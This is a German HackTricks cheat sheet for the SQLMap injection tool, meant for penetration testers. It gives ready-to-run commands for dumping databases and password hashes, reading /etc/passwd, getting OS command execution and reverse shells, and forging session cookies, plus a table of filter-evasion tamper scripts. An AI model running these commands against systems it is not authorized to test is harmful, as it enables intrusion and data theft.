SQLMap - Cheetsheat

Unterstützen Sie HackTricks

Sofort verfügbare Einrichtung für Schwachstellenbewertung & Penetrationstests. Führen Sie einen vollständigen Pentest von überall mit über 20 Tools & Funktionen durch, die von Recon bis Reporting reichen. Wir ersetzen keine Pentester - wir entwickeln maßgeschneiderte Tools, Erkennungs- & Ausnutzungs-Module, um ihnen etwas Zeit zu geben, um tiefer zu graben, Shells zu öffnen und Spaß zu haben.

Grundlegende Argumente für SQLmap

Allgemein

-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=http://127.0.0.1:8080
--union-char "GsFRts2" #Help sqlmap identify union SQLi techniques with a weird union char

Informationen abrufen

Intern

--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB
--privileges #Get privileges

DB-Daten

--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table  ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column

Injectionstelle

Aus Burp/ZAP-Erfassung

Erfassen Sie die Anfrage und erstellen Sie eine req.txt-Datei

sqlmap -r req.txt --current-user

GET-Anforderungsinjektion

sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id

POST-Anforderungsinjektion

sqlmap -u "http://example.com" --data "username=*&password=*"

Injektionen in Headern und anderen HTTP-Methoden

#Inside cookie
sqlmap  -u "http://example.com" --cookie "mycookies=*"

#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"

#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"

#The injection is located at the '*'

Geben Sie eine Zeichenfolge an, wenn die Injektion erfolgreich ist

--string="string_showed_when_TRUE"

Eval

Sqlmap ermöglicht die Verwendung von -e oder --eval, um jede Nutzlast vor dem Senden mit einem Python-Oneliner zu verarbeiten. Dies macht es sehr einfach und schnell, die Nutzlast auf benutzerdefinierte Weise vor dem Senden zu verarbeiten. Im folgenden Beispiel wird die flask cookie session von flask mit dem bekannten Geheimnis signiert, bevor sie gesendet wird:

sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump

Shell

#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami

#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell

#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn

Datei lesen

--file-read=/etc/passwd

Crawlen Sie eine Website mit SQLmap und automatischem Exploit

sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3

--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms

Zweite Ordnung Injektion

python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs

Lies diesen Beitrag über die Durchführung einfacher und komplexer zweiter Injektionen mit sqlmap.

Anpassen der Injektion

Setze ein Suffix

python sqlmap.py -u "http://example.com/?id=1"  -p id --suffix="-- "

Präfix

python sqlmap.py -u "http://example.com/?id=1"  -p id --prefix="') "

Hilfe bei der Suche nach boolescher Injektion

# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch

Tamper

Denken Sie daran, dass Sie Ihre eigenen Tamper in Python erstellen können und es sehr einfach ist. Sie finden ein Tamper-Beispiel auf der Seite zur Zweiten Ordnung Injektion hier.

--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
TamperBeschreibung

apostrophemask.py

Ersetzt das Apostrophzeichen durch sein UTF-8-Vollbreiten-Gegenstück

apostrophenullencode.py

Ersetzt das Apostrophzeichen durch sein illegales doppeltes Unicode-Gegenstück

appendnullbyte.py

Fügt am Ende der Payload ein kodiertes NULL-Byte-Zeichen hinzu

base64encode.py

Base64-kodiert alle Zeichen in einer gegebenen Payload

between.py

Ersetzt den Größer-als-Operator ('>') durch 'NOT BETWEEN 0 AND #'

bluecoat.py

Ersetzt das Leerzeichen nach der SQL-Anweisung durch ein gültiges zufälliges Leerzeichen. Danach wird das Zeichen = durch den LIKE-Operator ersetzt

chardoubleencode.py

Doppelt URL-kodiert alle Zeichen in einer gegebenen Payload (verarbeitet keine bereits kodierten Zeichen)

commalesslimit.py

Ersetzt Instanzen wie 'LIMIT M, N' durch 'LIMIT N OFFSET M'

commalessmid.py

Ersetzt Instanzen wie 'MID(A, B, C)' durch 'MID(A FROM B FOR C)'

concat2concatws.py

Ersetzt Instanzen wie 'CONCAT(A, B)' durch 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'

charencode.py

URL-kodiert alle Zeichen in einer gegebenen Payload (verarbeitet keine bereits kodierten Zeichen)

charunicodeencode.py

Unicode-URL-kodiert nicht kodierte Zeichen in einer gegebenen Payload (verarbeitet keine bereits kodierten Zeichen). "%u0022"

charunicodeescape.py

Unicode-URL-kodiert nicht kodierte Zeichen in einer gegebenen Payload (verarbeitet keine bereits kodierten Zeichen). "\u0022"

equaltolike.py

Ersetzt alle Vorkommen des Operators gleich ('=') durch den Operator 'LIKE'

escapequotes.py

Schrägstrich-Escape für Anführungszeichen (' und ")

greatest.py

Ersetzt den Größer-als-Operator ('>') durch das 'GREATEST'-Gegenstück

halfversionedmorekeywords.py

Fügt vor jedem Schlüsselwort einen versionierten MySQL-Kommentar hinzu

ifnull2ifisnull.py

Ersetzt Instanzen wie 'IFNULL(A, B)' durch 'IF(ISNULL(A), B, A)'

modsecurityversioned.py

Umgibt die gesamte Abfrage mit einem versionierten Kommentar

modsecurityzeroversioned.py

Umgibt die gesamte Abfrage mit einem Null-versionierten Kommentar

multiplespaces.py

Fügt mehrere Leerzeichen um SQL-Schlüsselwörter hinzu

nonrecursivereplacement.py

Ersetzt vordefinierte SQL-Schlüsselwörter durch Darstellungen, die für die Ersetzung geeignet sind (z.B. .replace("SELECT", "")) Filter

percentage.py

Fügt ein Prozentzeichen ('%') vor jedem Zeichen hinzu

overlongutf8.py

Konvertiert alle Zeichen in einer gegebenen Payload (verarbeitet keine bereits kodierten Zeichen)

randomcase.py

Ersetzt jedes Schlüsselwortzeichen durch einen zufälligen Groß- oder Kleinbuchstaben

randomcomments.py

Fügt zufällige Kommentare zu SQL-Schlüsselwörtern hinzu

securesphere.py

Fügt eine speziell gestaltete Zeichenfolge hinzu

sp_password.py

Fügt 'sp_password' am Ende der Payload zur automatischen Obfuskation aus DBMS-Protokollen hinzu

space2comment.py

Ersetzt das Leerzeichen (' ') durch Kommentare

space2dash.py

Ersetzt das Leerzeichen (' ') durch einen Strichkommentar ('--'), gefolgt von einer zufälligen Zeichenfolge und einer neuen Zeile ('\n')

space2hash.py

Ersetzt das Leerzeichen (' ') durch ein Pfundzeichen ('#'), gefolgt von einer zufälligen Zeichenfolge und einer neuen Zeile ('\n')

space2morehash.py

Ersetzt das Leerzeichen (' ') durch ein Pfundzeichen ('#'), gefolgt von einer zufälligen Zeichenfolge und einer neuen Zeile ('\n')

space2mssqlblank.py

Ersetzt das Leerzeichen (' ') durch ein zufälliges Leerzeichen aus einer gültigen Menge alternativer Zeichen

space2mssqlhash.py

Ersetzt das Leerzeichen (' ') durch ein Pfundzeichen ('#'), gefolgt von einer neuen Zeile ('\n')

space2mysqlblank.py

Ersetzt das Leerzeichen (' ') durch ein zufälliges Leerzeichen aus einer gültigen Menge alternativer Zeichen

space2mysqldash.py

Ersetzt das Leerzeichen (' ') durch einen Strichkommentar ('--'), gefolgt von einer neuen Zeile ('\n')

space2plus.py

Ersetzt das Leerzeichen (' ') durch ein Pluszeichen ('+')

space2randomblank.py

Ersetzt das Leerzeichen (' ') durch ein zufälliges Leerzeichen aus einer gültigen Menge alternativer Zeichen

symboliclogical.py

Ersetzt die logischen Operatoren AND und OR durch ihre symbolischen Gegenstücke (&& und

unionalltounion.py

Ersetzt UNION ALL SELECT durch UNION SELECT

unmagicquotes.py

Ersetzt das Anführungszeichen (') durch eine Multi-Byte-Kombination %bf%27 zusammen mit einem generischen Kommentar am Ende (um es zum Laufen zu bringen)

uppercase.py

Ersetzt jedes Schlüsselwortzeichen durch den Großbuchstaben 'INSERT'

varnish.py

Fügt einen HTTP-Header 'X-originating-IP' hinzu

versionedkeywords.py

Umgibt jedes Nicht-Funktionsschlüsselwort mit einem versionierten MySQL-Kommentar

versionedmorekeywords.py

Umgibt jedes Schlüsselwort mit einem versionierten MySQL-Kommentar

xforwardedfor.py

Fügt einen gefälschten HTTP-Header 'X-Forwarded-For' hinzu

Sofort verfügbare Einrichtung für Schwachstellenbewertung & Penetrationstests. Führen Sie einen vollständigen Pentest von überall mit über 20 Tools und Funktionen durch, die von Recon bis Reporting reichen. Wir ersetzen keine Pentester - wir entwickeln maßgeschneiderte Tools, Erkennungs- und Ausnutzungs-Module, um ihnen etwas Zeit zurückzugeben, um tiefer zu graben, Shells zu knacken und Spaß zu haben.

Unterstützen Sie HackTricks

Last updated